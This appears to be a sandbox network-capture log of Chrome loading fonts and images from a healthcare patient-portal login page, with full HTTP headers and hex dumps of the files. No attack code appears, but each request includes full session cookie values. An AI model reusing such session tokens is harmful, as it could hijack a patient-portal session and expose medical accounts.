2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 2c 5e 12 d0 1f 95 e0 e4 11 03 a1 a8 d5 bb 7e 87 f6 c4 b0 a5 99 64 62 ac fd d1 5a 58 ba 14 e7 5d c7 0e eb a3 0d e8 b1 1b dd ae 28 ad 8d 66 e8 d2 f6 bf d0 a5 0b 40 bf 44 a6 f5 7d a7 f6 82 1f 5e 72 0b 6c dd 19 81 46 41 51 16 4b 05 df c1 f8 30 60 2b c9 36 39 d1 78 b2 88 57 2f bf b5 15 e6 cc cd 6e ea 77 d6 e7 9e 71 e7 03 b1 6b 77 f5 95 13 60 68 8f 06 80 af 36 a8 2d 68 89 fd df 7b 9c 45 f5 ce 64 ed 1c aa d8 34 1b 28 b4 c7 11 97 07 6c c4 66 50 45 8c e5 da 1b d6 34 90 2a 24 c6 12 79 77 13 1c 87 13 13 aa a7 8b b1 74 8e 48 0a 6a bd 06 03 c0 c3 00 70 29 92 4b 04 41 10 04 41 20 60 60 af fa 24 08 82 20 08 dd 6c db 30 a5 17 00 ac 76 3b 4c c4 10 9b e4 72 3e 05 73 1a 01 8b 07 57 c5 94 bc d7 ca 02 2c ae fd f1 67 61 02 c5 47 2a 27 66 2a b8 1c 74 5c bf 01 1e 05 51 80 81 1c Data Ascii: ,^~dbZX](f@D}^rlFAQK0`+69xW/nwqkw`h6-h{Ed4(lfPE4$ywtHjp)KAA ``$ l0v;Lr>sW,gaG'f*t\Q
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: f2 3b c6 63 3d 09 68 c8 e7 c8 f3 74 7b 76 13 27 25 28 44 c9 77 50 60 2e 5d e5 0c 3f c8 4b 18 6a 4c 9f 10 2b 7d cf 32 c5 4d 87 97 84 78 e3 e5 5b a0 76 89 3a a2 33 84 0e 4b 8c a5 5a fc 7c 51 8f 66 4d 6f 80 89 28 93 a6 c4 58 46 c5 3c dc 62 2c 41 0f 7d 22 62 2c a1 3a 57 d0 07 d0 aa e9 ad 02 cf 58 44 3f 5e ca 53 0a db 78 80 68 7b 91 74 56 e3 f8 23 fa e1 df ff 1e 12 88 79 76 76 ae 9a 7a 0a ba d4 3d cb 5d 2f 3e dd 3c 0c 0f 3d 58 39 e1 07 e3 f0 9f dd 55 57 df 14 8c 1f c7 1e 39 1a c3 7a 2f 8b 14 62 15 7a 4e dd e1 75 c4 eb 6f 72 84 b8 e7 a4 67 97 36 09 67 cd 11 27 70 7a 90 a5 d5 cb cd c9 d1 d9 9f 6b b6 2d 40 8d b3 4e 34 61 c6 a8 cc 60 dc aa 5a b7 af a2 50 85 dd f7 35 d9 0f 30 86 29 e7 f7 86 26 97 4d 79 9a 44 26 cd 56 84 65 b1 58 2c 16 11 ac 00 cb 62 b1 58 2c 55 c5 Data Ascii: ;c=ht{v'%(DwP`.]?KjL+}2Mx[v:3KZ\|QfMo(XF<b,A}"b,:WXD?^Sxh{tV#yvvz=]/><=X9UW9z/bzNuorg6g'pzk-@N4a`ZP50)&MyD&VeX,bX,U
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 0f 57 be d8 0a 75 80 5b 57 e6 84 ed c4 90 ca 07 a2 4f a0 1a 7e b0 5a b7 00 98 68 96 7d 31 56 b8 b0 2b d7 e7 56 69 47 2a 0b de 66 48 74 1d 3c bf 15 36 19 3a 53 67 69 d6 d7 28 a7 2a 50 85 e7 b8 b5 48 f8 9f 9a 4c a8 2f 6f 07 da da be 0c 44 59 a1 20 cb cb 8c d5 65 f6 86 f0 09 47 62 f2 d8 a8 c7 39 f9 32 e2 05 8e 15 09 61 53 4a ef ea 66 28 d6 d7 1e 5e 36 e6 3d c2 03 4b bc e5 66 42 07 a7 52 e2 de 82 62 2d 87 79 1c 1c 10 93 c7 25 0a 3f c8 7d 4a 9e 80 4c df f3 93 16 63 65 e8 dd fc 1c a6 4c 99 82 19 33 66 68 4b 53 88 3f a6 f5 3f 97 4e bd 18 23 77 6b 44 9f 76 6f a3 c6 5d 1d 79 ec 46 6f 2f fc 77 49 3b 3c f1 8f f9 78 e2 89 df 73 d9 f7 85 48 0b 16 0c c1 d4 0b bf 81 bd 7a 3d 5f 24 9c 66 e1 09 94 11 32 c4 1d 8f 18 ab 4b 7b b3 de b1 6e ff d5 3d e8 77 d3 95 18 d9 f3 99 98 Data Ascii: Wu[WO~Zh}1V+ViGfHt<6:Sgi(PHL/oDY eGb92aSJf(^6=KfBRb-y%?}JLceL3fhKS??N#wkDvo]yFo/wI;<xsHz=_$f2K{n=w
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 9b 6d 59 8d 7c 53 cb a9 c3 6b 2b 87 c2 15 0b d6 c2 05 17 5c 2e 7c 76 c1 82 5b e0 e1 27 04 04 23 45 f8 c4 ab 6b bf bf 7f 40 b6 9a 36 f9 25 18 d8 fd a6 ba 10 c9 3e 17 7a c1 a2 c4 a5 97 dd 04 cf fc 6b 94 64 0e f8 9b 09 6b d7 e1 1a 6c 5b 5b 93 c2 87 e0 33 8a b2 44 c6 ca 16 4c 0a a4 46 cc af 86 0b 51 58 09 cd 67 42 c6 72 dc 4e 70 f3 23 20 df 3c 01 72 f9 41 12 21 06 cd 90 de 96 4d eb 99 b0 02 15 43 2a c9 a2 7e a4 6c 6d 85 e9 27 1c 54 04 24 64 b0 64 2c ec f0 83 78 ed 22 36 2e 64 e4 43 a2 74 a0 bc 44 c4 92 25 63 65 96 d4 98 51 bd 1a d7 9b 53 7d 1a 73 c3 96 97 0e 49 af 06 64 ac 46 ec ae 8e 93 83 7c 73 7f 68 ed 18 17 84 28 6c 6e d1 0c 51 58 94 a6 d4 8e 95 42 f8 11 7d af 43 22 16 4b c6 e2 87 1f 94 16 9c a8 b3 51 13 29 27 c6 1f 2b 02 4f 58 64 c3 90 c7 5c 3a 69 39 a0 Data Ascii: mY\|Sk+\.\|v['#Ek@6%>zkdkl[[3DLFQXgBrNp# <rA!MC*~lm'T$dd,x"6.dCtD%ceQS}sIdF\|sh(lnQXB}C"KQ)'+OXd\:i9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	50057	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	854	OUT	GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mycw108.ecwcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: font/woff2 Content-Length: 7776 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"7776-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:06 UTC	7776	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1e 60 00 0c 00 00 00 00 3f 70 00 00 1e 0c 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 0a e7 30 d2 04 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 83 48 07 84 0b 1b 3c 32 a3 a2 86 b4 5a 94 a2 28 57 94 26 f8 cb 04 6e 0e 70 1d 2b 91 30 12 22 21 02 86 95 1a 01 63 d9 b5 bb 82 bb f8 43 25 a2 af 1a c2 3f 46 7a 42 65 d0 d1 1a 5e 71 50 99 1e a1 b1 4f 72 79 1e 7e 7f 50 e7 de f7 07 4a b3 80 bb a8 b4 21 6f b2 2a 5c 21 54 86 22 c7 9d 37 3c bf cd ff a3 3d d7 46 4f 99 01 06 25 25 12 c2 a5 5a aa 8d c2 00 2e 82 39 d4 45 b5 73 d5 7f 93 d5 6b fb 2d 5f e4 5e fb f6 16 fd 22 dd bf 5c cb 5d 9b cc fb 12 93 0c 68 57 54 c8 ee 1e 80 73 d7 72 5c 51 d6 ff ca 69 fd 56 b7 e9 fd 56 e2 81 25 80 cb 61 a0 41 Data Ascii: wOF2`?p 0`T066$h H<2Z(W&np+0"!cC%?FzBe^qPOry~PJ!o*\!T"7<=FO%%Z.9Esk-_^"\]hWTsr\QiVV%aA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	50058	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	818	OUT	GET /portal14763/ss/fonts/newLogin/healow.ttf?qd9atp HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mycw108.ecwcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/layout.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: font/ttf Content-Length: 13712 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"13712-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:07 UTC	13712	IN	Data Raw: 00 01 00 00 00 0b 00 80 00 03 00 30 4f 53 2f 32 0f 12 06 6b 00 00 00 bc 00 00 00 60 63 6d 61 70 e9 72 e9 f6 00 00 01 1c 00 00 00 5c 67 61 73 70 00 00 00 10 00 00 01 78 00 00 00 08 67 6c 79 66 b7 43 85 db 00 00 01 80 00 00 31 04 68 65 61 64 20 ee 76 bd 00 00 32 84 00 00 00 36 68 68 65 61 0a be 06 e7 00 00 32 bc 00 00 00 24 68 6d 74 78 99 88 00 25 00 00 32 e0 00 00 00 a0 6c 6f 63 61 ff c4 f5 82 00 00 33 80 00 00 00 52 6d 61 78 70 00 33 02 5c 00 00 33 d4 00 00 00 20 6e 61 6d 65 88 c7 19 78 00 00 33 f4 00 00 01 7a 70 6f 73 74 00 03 00 00 00 00 35 70 00 00 00 20 00 03 04 0b 01 90 00 05 00 00 02 99 02 cc 00 00 00 8f 02 99 02 cc 00 00 01 eb 00 33 01 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e9 Data Ascii: 0OS/2k`cmapr\gaspxglyfC1head v26hhea2$hmtx%2loca3Rmaxp3\3 namex3zpost5p 3@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50059	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	850	OUT	GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiEyp8kv8JHgFVrJJfecg.woff2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mycw108.ecwcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: font/woff2 Content-Length: 7900 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"7900-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:06 UTC	7900	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1e dc 00 0c 00 00 00 00 3f a0 00 00 1e 8a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 0a e7 4c d2 36 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 83 5c 07 84 0b 1b 82 32 b3 22 d8 38 00 20 a1 77 15 45 a5 22 ca fe ab 04 6e 0e 70 1d 4d 24 44 44 78 55 55 d5 ae 6f a9 13 30 1c 23 31 b9 67 cf 3f 5f 0c 70 02 80 21 b0 2f 54 ac ba da 0e d9 58 86 9f 78 4c 57 a4 73 d2 11 1a fb 24 97 e7 e9 f7 e3 7f 6b ef 73 bf 5b d3 f4 e7 57 6b 22 16 0d 88 3e 5d 2b 15 af 0c 91 08 d9 33 59 2c 24 f1 f8 ce f0 fc 36 7b 8a 33 36 17 a9 3d 8c a2 4a a2 3f f1 81 0f 48 e4 27 04 13 2b 58 39 73 11 ed a2 dc 76 ba bb f3 76 b2 c8 ba a8 ed 7a d9 fe 97 ae ec b7 7a c6 f0 5e cb 1b e4 0e 22 8a 22 68 18 d6 b2 d6 96 81 17 50 Data Ascii: wOF2? 0`TL666$h \2"8 wE"npM$DDxUUo0#1g?_p!/TXxLWs$ks[Wk">]+3Y,$6{36=J?H'+X9svvzz^""hP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	50060	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	854	OUT	GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mycw108.ecwcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:06 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: font/woff2 Content-Length: 7988 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"7988-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:06 UTC	7988	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1f 34 00 0c 00 00 00 00 3f 40 00 00 1e e3 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 0a e6 74 d1 2a 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 83 54 07 84 0b 1b ee 31 b3 22 d8 38 00 20 a1 f7 13 45 c9 60 44 b2 ff 2a 81 1b 32 e0 35 54 d1 50 91 a6 6a 42 68 ad 76 63 75 c0 30 56 d4 d0 a0 1d 5d be 84 f8 dd bc 8f f0 0a 5f ec 54 41 a0 84 5a 1f 79 2d b1 7c 3f da 9d b5 23 34 f6 49 2e 4f fc ef 07 ed ce bc bf ae 49 35 34 d3 66 55 21 73 c8 24 32 95 66 12 da 42 ea 2b a1 e0 fe b6 df 6f 7b db 57 c4 b2 58 35 89 fa 48 d9 96 b9 45 b2 96 46 6a 36 f4 3a d7 29 85 63 78 7e 6e ff 07 95 12 8b 0a 65 6c 6c 63 59 c0 c6 ea 2e 9a d8 18 03 16 30 b6 51 23 06 43 06 4a b4 8e 68 f5 bd 87 8a 15 68 7f 40 7d Data Ascii: wOF24?@ 0`Tt66$h T1"8 E`D25TPjBhvcu0V]_TAZy-\|?#4I.OI54fU!s$2fB+o{WX5HEFj6:)cx~nellcY.0Q#CJhh@}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50061	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	854	OUT	GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mycw108.ecwcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: font/woff2 Content-Length: 7832 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:06 GMT Accept-Ranges: bytes ETag: W/"7832-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:07 UTC	7832	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1e 98 00 0c 00 00 00 00 3e 50 00 00 1e 46 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 0a e5 14 cf 2e 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 83 44 07 84 0b 1b e2 30 33 03 31 c6 01 0c 33 6e ab 28 aa 14 65 f6 5f 26 68 47 98 fc 2e 46 58 b0 88 1a 45 71 08 33 51 4c b2 53 47 b8 7f 3b f7 d9 f4 43 e3 80 42 93 4a 7b f6 f5 f1 6a 2b 6e 84 34 26 96 27 6a 3f d0 b7 7b 3f 8c 8a 4a 20 0c 30 a8 b8 82 ac 42 d9 a9 65 1d b0 65 90 75 44 42 11 ba 4e 6e 78 7e 9b 3d c4 5e 94 36 6d 80 44 09 08 8a 88 92 8a a8 54 59 a8 60 62 16 56 dd 5c eb ad 8c b9 f8 3b 57 37 17 37 5d e4 55 6d 57 8b ab 5e 5f aa 3f fa 97 2f 6b b2 96 44 30 4f 85 c6 83 59 e8 e7 52 b4 c0 ff 3d c0 00 f0 ff d3 f5 fa 46 da 35 dc 3b e3 Data Ascii: wOF2>PF 0`T.66$h D0313n(e_&hG.FXEq3QLSG;CBJ{j+n4&'j?{?J 0BeeuDBNnx~=^6mDTY`bV\;W77]UmW^_?/kD0OYR=F5;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50062	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	857	OUT	GET /portal14763/images/newLogin/practice-landing-vector-web.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 5045 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"5045-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:07 UTC	5045	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 11 00 00 02 61 08 03 00 00 00 09 ec cd 21 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 cf 50 4c 54 45 00 00 00 4a ca df 4e c4 e2 50 bf df 55 d5 d5 4e bc de 40 bf ea 00 80 ff 47 c2 e0 4b c3 e1 46 c5 dc 46 b9 d1 00 00 00 4a ca ea 44 cc dd 40 bf bf 4d bf e6 55 c6 e3 4a bf df 49 c8 db 00 aa aa 49 c2 e7 4d b3 cc 4e c4 d8 40 bf df 47 c6 e3 49 b6 db 39 c6 e3 51 c5 e8 4d cc e6 4e c8 e9 40 bf d5 00 ff ff 46 d1 e8 4e c8 de 46 b9 dc 40 bf df 51 c9 e4 33 cc cc 44 bb dd 46 b9 e8 55 aa ff 49 c8 ed 49 c2 db 2a aa d5 00 ff ff 33 cc ff 33 99 cc 49 b6 db 4e c4 eb 40 bf ff 00 80 80 49 db ff 43 bc d7 4d cc e6 4d bf d9 55 aa aa 44 cc ee 00 00 ff 55 d5 ff Data Ascii: PNGIHDRa!sRGB,pHYsPLTEJNPUN@GKFFJD@MUJIIMN@GI9QMN@FNF@Q3DFUII*33IN@ICMMUDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	50063	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	569	OUT	GET /portal14763/jsp/admin/getCroppedImage.jsp?id=0 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	610	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Server:
2024-04-24 12:45:07 UTC	5889	IN	Data Raw: 31 36 66 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a8 00 00 00 7e 08 02 00 00 00 3f 4e cd d1 00 00 16 bb 49 44 41 54 78 da ed 9b 77 54 17 d7 b6 c7 ef 1f ef bd 9b b2 62 c1 ae 58 a2 b1 45 8d 4a c7 02 52 6c 34 4b 34 31 46 45 83 0d 14 10 0b c5 48 51 91 0e 2a 88 a0 46 01 05 04 91 f2 a3 09 36 22 51 83 80 42 94 22 5c 29 82 82 0a 22 82 14 69 79 df 99 0d e3 cf 1f 58 ae 2f eb f2 92 9c bd 66 fd d6 61 e6 f4 cf 39 fb ec bd 67 f8 c7 ef 4c fe 96 f2 0f 36 05 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 0c 3c 13 06 9e 09 03 cf 84 81 67 c2 c0 33 61 e0 99 30 f0 4c 18 78 26 0c 3c 13 06 9e 09 03 cf 84 81 Data Ascii: 16f4PNGIHDR~?NIDATxwTbXEJRl4K41FEHQ*F6"QB"\)"iyX/fa9gL6<g3a0Lx&<g3a0Lx&<g3a0<g3a0Lx&<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50064	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	565	OUT	GET /portal14763/images/newLogin/successful.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 2023 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"2023-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
